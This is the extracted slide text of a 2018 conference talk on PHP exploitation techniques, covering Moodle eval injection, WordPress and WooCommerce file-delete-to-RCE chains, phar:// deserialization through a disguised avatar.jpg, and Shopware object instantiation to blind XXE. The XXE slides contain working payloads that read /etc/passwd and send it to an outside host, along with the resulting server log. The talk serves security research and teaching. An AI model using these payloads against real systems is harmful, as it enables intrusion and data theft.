New PHP Exploitation Techniques Johannes Dahse, PHP.RUHR 2018 Dortmund, Germany, 08.11.2018
Johannes Dahse Capture The Flag, 5 years Security Consultant, 5 years Developer RIPS open source (2009-2013) Ph.D. Static Code Analysis @ Ruhr-University Bochum (2013-2016) Co-Founder RIPS Technologies GmbH (since 2016) @FluxReiners blog.ripstech.com Intro
What I love Phar:// Deserialization WooCommerce: File Delete to RCE WordPress: File Delete to RCE Moodle: Code Injection to RCE Prestashop: Object Injection to RCE LimeSurvey: pXSS to File Write to RCE wooCommerce: SQLi to POI to RCE Joomla!: Second-Order SQLi to RCE CubeCart: SQLi to RCE Shopware: POI to XXE to RCE
What I love Phar:// Deserialization WooCommerce: File Delete to RCE WordPress: File Delete to RCE Moodle: Code Injection to RCE Prestashop: Object Injection to RCE LimeSurvey: pXSS to File Write to RCE wooCommerce: SQLi to POI to RCE Joomla!: Second-Order SQLi to RCE CubeCart: SQLi to RCE Shopware: POI to XXE to RCE
Moodle < 3.5.0 Code Injection https://blog.ripstech.com/2018/moodle-remote-code-execution/
Code Injection public function substitute_variables_and_eval($str) { // replace {x} and {y} with numbers like 1.2 $formula = $this->substitute_variables($str); if ($error = find_formula_errors($formula)) { return $error; } eval('$str = ' . $formula . ';'); // $str = exec($_GET[0]); return $str; } function find_formula_errors($formula) { while (preg_match('~{[[:alpha:]][^>} <{"']*}~', $formula, $regs)) { $formula = str_replace($regs[0], '1', $formula); } // check formula }
Code Injection public function substitute_variables_and_eval($str) { // replace {x} and {y} with numbers like 1.2 $formula = $this->substitute_variables($str); if ($error = find_formula_errors($formula)) { return $error; } eval('$str = ' . $formula . ';'); return $str; } function find_formula_errors($formula) { while (preg_match('~{[[:alpha:]][^>} <{"']*}~', $formula, $regs)) { $formula = str_replace($regs[0], '1', $formula); } // check formula }
Code Injection
WordPress <= 4.9.6 File Delete to RCE https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
Video: https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
WordPress Author role required, but: • Privilege escalation for multi-user sites (e.g. multiple journalists) • New bug announced soon that allows privilege escalation from unauthenticated users Comments on Requirements
WooCommerce <= 3.4.5 File Delete Privilege Escalation https://blog.ripstech.com/2018/wordpress-design-flaw-leads-to-woocommerce-rce/
WooCommerce Privileges: • A shop manager user gets the edit_users WordPress privilege upon plugin installation • This privilege is permanently stored in the database • This privilege allows to edit all users, including administrators • To restrict this, WooCommerce adds a WordPress filter disallow_editing_of_admins The Design Flaw: • If the WooCommerce plugin gets disabled, the edit_users privilege still persists • But the disallow_editing_of_admins filter of the plugin does not trigger anymore • Usually, only administrators can disable plugins … WordPress Design Flaw
File Delete Vulnerability
Video: https://blog.ripstech.com/2018/wordpress-design-flaw-leads-to-woocommerce-rce/
Phar:// Deserialization https://blog.ripstech.com/2018/new-php-exploitation-technique/
URL-style wrappers allowed in PHP file operations, e.g. data://, zlib://, php:// Often used for PHP file inclusion: include($_GET["filename"]); What about other wrappers, like phar:// ? Credits: Sam Thomas from Secarma PHP Stream Wrappers ?filename=php://filter/convert.base64-encode/resource=index.php ?filename=data://text/plain;base64,cGhwaW5mbygpCg==
PHP Archive Files Put entire PHP application into single file Meta data is stored in serialized form! Phar Files
PHP Archive Files Put entire PHP application into single file Meta data is stored in serialized form! Phar Files // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering();
PHP Archive Files Put entire PHP application into single file Meta data is stored in serialized form! Phar Files // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering();
Any file operation allows phar:// On access, Phar meta data is unserialize()‘d ➔ PHP Object Injection Phar:// Deserialization class File { function __destruct() { unlink($this->data); } } // output: rips include( $_GET[filename] ); ?filename=phar://test.phar
Any file operation allows phar:// On access, Phar meta data is unserialize()‘d ➔ PHP Object Injection ➔ Polyglot JPG/PHAR exists Phar:// Deserialization class File { function __destruct() { unlink($this->data); } } // output: rips include( $_GET[filename] ); ?filename=phar://test.phar
Any file operation allows phar:// On access, Phar meta data is unserialize()‘d ➔ PHP Object Injection ➔ Polyglot JPG/PHAR exists Phar:// Deserialization class File { function __destruct() { unlink($this->data); } } // output: rips include( $_GET[filename] ); ?filename=phar://test.phar 1. Inject serialized object into a phar file 2. Obfuscate phar file as avatar.jpg 3. Upload avatar.jpg to application 4. Exploit phar deserialization: index.php?filename=phar://../uploads/avatar.jpg
Any File Operation include('phar://test.phar'); file_get_contents('phar://test.phar'); file_put_contents('phar://test.phar', ''); copy('phar://test.phar', '');
Any File Operation include('phar://test.phar'); file_get_contents('phar://test.phar'); file_put_contents('phar://test.phar', ''); copy('phar://test.phar', ''); file_exists('phar://test.phar'); is_executable('phar://test.phar'); is_file('phar://test.phar'); is_dir('phar://test.phar'); is_link('phar://test.phar'); is_writable('phar://test.phar‘); fileperms('phar://test.phar'); fileinode('phar://test.phar'); filesize('phar://test.phar'); fileowner('phar://test.phar'); filegroup('phar://test.phar'); fileatime('phar://test.phar'); filemtime('phar://test.phar'); filectime('phar://test.phar'); filetype('phar://test.phar'); getimagesize('phar://test.phar'); exif_read_data('phar://test.phar'); stat('phar://test.phar'); lstat('phar://test.phar'); touch('phar://test.phar‘); md5_file('phar://test.phar');
Shopware < 5.3.4 PHP Object Instantiation to XXE to RCE https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/
PHP Object Instantiation != PHP Object Injection PHP Object Instantiation class Shopware_Controllers_Backend_ProductStream { public function loadPreviewAction() { $sorting = $this->Request()->getParam('sort'); $streamRepo->unserialize($sorting); } }
An attacker can instantiate PHP objects of arbitrary classes PHP Object Instantiation class LogawareReflectionHelper { public function unserialize($serialized) { foreach($serialized as $className => $arguments) { $reflectionClass = new ReflectionClass($className); $classes[] = $reflectionClass->newInstanceArgs($arguments); } } }
An attacker can instantiate PHP objects of arbitrary classes Invoke __construct(), __destruct(), __call(), but what if no interesting magic methods in code base? PHP Object Instantiation class LogawareReflectionHelper { public function unserialize($serialized) { foreach($serialized as $className => $arguments) { $reflectionClass = new ReflectionClass($className); $classes[] = $reflectionClass->newInstanceArgs($arguments); } } }
Instantiate object of a PHP built-in class PHP Built-in Class SimpleXMLElement SimpleXMLElement::__construct ( $data = "https://ripstech.com/xxe.xml", $options = LIBXML_NOENT, // enable substitution of entities $data_is_url = true )
https://ripstech.com/xxe.xml https://ripstech.com/xxe.dtd Blind XXE <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd"> %sp; %param1; ]> <r>&exfil;</r> <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">
https://ripstech.com/xxe.xml https://ripstech.com/xxe.dtd Blind XXE <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd"> %sp; %param1; ]> <r>&exfil;</r> <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>"> 1.2.3.4 - - [07/Aug/2018 13:55:54] "GET /xxe.xml HTTP/1.0" 200 - 1.2.3.4 - - [07/Aug/2018 13:55:54] "GET /xxe.dtd HTTP/1.0" 200 - 1.2.3.4 - - [07/Aug/2018 13:55:54] "GET /?cm9vdDp4mF....== HTTP/1.0" 200 -
https://ripstech.com/xxe.xml https://ripstech.com/xxe.dtd Code Execution <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd"> %sp; %param1; ]> <r>&exfil;</r> <!ENTITY % data SYSTEM "phar://tmp/session_123123123"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">
https://ripstech.com/xxe.xml https://ripstech.com/xxe.dtd Code Execution <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd"> %sp; %param1; ]> <r>&exfil;</r> <!ENTITY % data SYSTEM "phar://tmp/session_123123123"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>"> XSS → POI → XMLi → XXE → PHAR → POI → POP → RCE
- Remote Command Execution everywhere! - New PHP exploit techniques - File Delete Exploitation, unlink() - Phar Deserialization, file*() - PHP Object Instantiation, ReflectionClass() - Sanitize/Validate user input as strict as possible - Enjoy the awesome conference! Summary
Questions? jdahse@ripstech.com More security bugs in our upcoming advent calendar 2018 www.ripstech.com

New PHP Exploitation Techniques